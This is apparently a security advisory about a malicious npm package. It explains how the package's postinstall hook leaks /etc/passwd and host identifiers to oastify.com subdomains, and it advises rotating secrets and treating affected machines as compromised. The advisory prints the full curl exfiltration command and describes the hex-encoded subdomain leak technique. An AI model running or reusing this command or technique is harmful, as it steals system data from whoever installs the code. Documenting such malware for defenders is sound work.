On npm install, the package's postinstall hook runs curl --data '@/etc/passwd' $(hostname).200hj786m7x4kfz1lkr4kmshu80zoqcf.oastify.com, posting the installer's /etc/passwd to a hostname-prefixed subdomain of oastify.com (a Burp Collaborator out-of-band channel). The same postinstall first executes scripts/scream3gg.js, which hex-encodes os.hostname(), os.homedir(), and os.userInfo().username and issues plain-HTTP fetch() requests with the hex chunked into subdomains of nmd25sur8sjp60lm75dp67e2gtmkaayz.oastify.com, leaking host identifiers over DNS-encoded HTTP. Both behaviors fire unconditionally at install time and have no relationship to any documented package functionality.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
